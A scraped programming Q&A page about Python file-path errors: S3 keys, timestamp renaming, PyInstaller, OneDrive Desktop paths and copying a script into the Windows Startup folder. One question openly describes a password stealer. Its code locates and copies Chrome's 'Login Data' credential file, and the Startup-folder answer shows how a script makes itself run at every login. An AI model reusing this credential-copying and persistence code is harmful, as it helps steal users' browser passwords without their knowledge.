Python Script Fail when folderpath contains a space - python

I have a python script that works well unless the folder path contains a space. How can I enable my script to still work when the folder path has a space within it.
sourceS3Bucket = event['Records'][0]['s3']['bucket']['name']
sourceS3Key = event['Records'][0]['s3']['object']['key']
sourceS3 = 's3://'+ sourceS3Bucket + '/' + sourceS3Key
destinationS3 = sourceS3
Thanks in advance.

Related

Python - Batch rename to timestamp

i'm pretty new to Python and i tried writing a code that takes a list of files (1.pdf,2.pdf,3.pdf etc') and renames it to the time it was created.
I'm using Ubuntu 21 and python 3.8
import time
import os
extension = ".pdf"
folder_path = "/home/user/Downloads"
file_list = []
for filename in os.listdir(folder_path):
if filename.endswith(extension) and filename not in file_list:
full = folder_path + '/' + filename
t = os.path.getctime(full)
t_str = time.ctime(t)
t_obj = time.strptime(t_str)
format_t = time.strftime("%Y%m%d_%H%M%S", t_obj)
full_path = os.path.join(folder_path, filename)
os.rename(full_path, os.path.join(folder_path, format_t + extension))
name_sum = format_t + extension
file_list.append(name_sum)
When i run the code files are deleted and only 1 file is left.
Please help me understand what am i doing wrong.
They are all renamed to the same name. You should add a check like:
new_name = os.path.join(folder_path, format_t + extension)
if os.path.isfile(new_name):
raise Exception(new_name + " exists already")
os.rename(full_path, new_name)
or handling files that were created at the exact same second by adding some suffix or something like that
Your code seems correct and worked correctly on my system.
You could try adding an iterator counter number to differentiate the names in the loop. The uniqueness of the names may be caused of the "format_t" you add producing the same within the loop may be cause of the execution time or an internal bug within the time function yielding the same strings.

Compiling a script in. exe that uses InstaPy

I'm writing a bot for IG using the Tkinter and InstaPy libraries. If you run the script with an interpreter, everything works correctly, but after compiling it in .exe using pyinstaller, the console returns this error after starting the browser:
FileNotFoundError: [WinError 3]The system cannot find the specified path: 'C:\Users\DANILG~1\AppData\Local\Temp_MEI12802\instapy\firefox_extension\manifest.json'.
(In the console, the error text is written in Russian, here is the translation)
At first, it seemed to me that this was due to escaping the "/" in the file path. But in addition, the user name changes in the path (it must be DanilGolovzin, while the path specifies DANILG~1). Well, if you still try to go to the desired directory, ignoring the escaping and mismatch of the user name, then _MEI71162 will not have the instapy folder.
console
The problem occures because of pyinstaller. When you build the script, in "browser.py"
ext_path = os.path.abspath(os.path.dirname(__file__) + sep + "firefox_extension")
we have ext_path like that. It works when you run it as a .py but when you build it, I think it runs in Temp folder and try to find it in that folder. So when it doesn't find, an error raise. I've solve with changing "browser.py" like that:
def create_firefox_extension():
ext_path = os.path.abspath(os.path.dirname(__file__) + sep + "firefox_extension")
# safe into assets folder
zip_file = use_assets() + sep + "extension.xpi"
files = ["manifest.json", "content.js", "arrive.js"]
with zipfile.ZipFile(zip_file, "w", zipfile.ZIP_DEFLATED, False) as zipf:
for file in files:
try:
zipf.write(ext_path + sep + file, file)
except :
new_ext_path = os.getcwd()+sep+"firefox_extension"
zipf.write(new_ext_path + sep + file, file)
return zip_file
After making these changes, I've coppied the firefox_extension to .exe folder and it runs without any problem.

Python os cannot get path to Desktop on One Drive

I am trying to get user's path to Desktop by using the following code:
desktop = os.path.join(os.path.join(os.environ['USERPROFILE']), 'Desktop')
d = datetime.datetime.today()
newpath = desktop + '\\New_folder' + str(d.day) + '_' + str(d.month) + '_' + str(d.year)
if not os.path.exists(newpath):
os.makedirs(newpath)
print('Desktop folder created: ' + newpath)
For most users that works, but I recently got a case of a user who has everything on One Drive and their path is: 'C:\Users\User1\OneDrive - CompanyName\Desktop'.
For these users, the script fails with this message:
FileNotFoundError: [WinError 3] The system cannot find the file specified 'C:\\Users\\User1\\Desktop\\New_folder_16_3_2020
How do I point python to their actual Desktop path, so that I can then work with that folder?
I suspect the reason for yours is that, make sure that you're accessing the directory through OneDrive instead of following the path to the desktop immediately from the user. So instead of this
C:\\Users\\User1\\Desktop\\New_folder_16_3_2020
it would be something like this
C:\\Users\\User1\\Desktop\\OneDrive\\New_folder_16_3_2020
I would recommend you to add a try/catch statement that if fails prepends/appends the oneDrive keyword to the path.

python path error, [WinError 3] The system cannot find the path specified

Okay so basically in short this is a program that is made to take your chrome passwords by opening an .exe that is created in the end and sends you the passwords of that user that opened the .exe
I seem to constantly be faced with a path error that I can't figure out.
I'm not super good with python yet which could be the main problem but yeah, hope you guys can help with this :)
Here's the error code after I run my .py command in cmd
Here's the piece of code that seems to be the issue.
path = os.getenv("LOCALAPPDATA") + "\\Google\\Chrome\\User Data\\Default\\Login Data"
path2 = os.getenv("LOCALAPPDATA") + "\\Google\\Chrome\\User Data\\Default\\Login2"
ASCII_TRANS = '_'*32 + ''.join([chr(x) for x in range(32, 126)]) + '_'*130
path = path.strip()
path = urllib.parse.unquote(path)
if path.translate(ASCII_TRANS) != path: # Contains non-ascii
path = path.decode('latin-1')
path = urllib.request.url2pathname(path)
ASCII_TRANS = '_'*32 + ''.join([chr(x) for x in range(32, 126)]) + '_'*130
path2 = path2.strip()
path2 = urllib.parse.unquote(path2)
if path2.translate(ASCII_TRANS) != path2: # Contains non-ascii
path2 = path2.decode('latin-1')
path2 = urllib.request.url2pathname(path2)
try:
copyfile(path, path2)
except:
pass
It's a path problem but honestly I have no f*cking clue what it could be

Code that only execute once, Python Startup folder

Hey and thanks for all of your answers. I try to write a piece of python code that only executes once, (first time the program is installed) and copies the program into the windows startup folders.
(C:\Users\ USER \AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup)
That's the code i wrote for this. (Please don't judge me. I know it's
very shitty code. But I'm very new to coding. (this is the second
little program i try to write)
import os
import shutil
#get username
user = str(os.getlogin())
user.strip()
file_in = ('C:/Users/')
file_in_2 = ('/Desktop/Py Sandbox/test/program.py')
file_in_com = (file_in + user + file_in_2)
folder_seg_1 = ('C:/Users/')
folder_seg_2 = ('/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup')
#create FolderPath
folder_com = (folder_seg_1 + user + folder_seg_2)
shutil.copy2(file_in_com, folder_com)
Because i got an error, that there is no such internal, external,
command, program or batch file named Installer. I tried to generate a batch file with
nothing in it that executes when the installation process is finished.(But the error is still there.)
save_path = 'C:/Windows/assembly/temp'
name_of_file = str("Installer")
completeName = os.path.join(save_path, name_of_file+".bat")
file1 = open(completeName, "w")
file1.close()
The main idea behind this that there is my main Program, you execute
it it runs the code above and copies itself to the startup folder.
Then the code the whole installer file gets deleted form my main
program.
import Installer
#run Installer File
os.system('Installer')
os.remove('Installer.py')
But maybe there's someone out there who knows the answer to this problem.
And as I said earlier, thanks for all of your answers <3.
BTW I'm currently using Python 3.5.
Okay guys now I finally managed to solve this problem. It's actually not that hard but you need to think from another perspective.
This is now the code i came up with.
import os
import sys
import shutil
# get system boot drive
boot_drive = (os.getenv("SystemDrive"))
# get current Username
user = str(os.getlogin())
user.strip()
# get script path
script_path = (sys.argv[0])
# create FolderPath (Startup Folder)
folder_seg_1 = (boot_drive + '/Users/')
folder_seg_2 = ('/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup')
folder_startup = (folder_seg_1 + user + folder_seg_2)
#check if file exits, if yes copy to Startup Folder
file_name = (ntpath.basename(script_path))
startup_file = (folder_startup + ("/") + file_name)
renamed_file = (folder_startup + ("/") + ("SAMPLE.py"))
# checkfile in Startup Folder
check_path = (os.path.isfile(renamed_file))
if check_path == True:
pass
else:
shutil.copy2(script_path, folder_startup)
os.rename(startup_file, renamed_file)
This script gets your username, your boot drive, the file location of
your file than creates all the paths needed. Like your personal
startup folder. It than checks if there is already a file in the
startup folder if yes it just does nothing and goes on, if not it
copies the file to the startup folder an than renames it (you can use that if you want but you don't need to).
It is not necessary to do an os.getenv("SystemDrive") or os.getlogin(), because os.getenv("AppData") already gets both. So the most direct way of doing it that I know of is this:
path = os.path.join(os.getenv("appdata"),"Microsoft","Windows","Start Menu","Programs","Startup")

Categories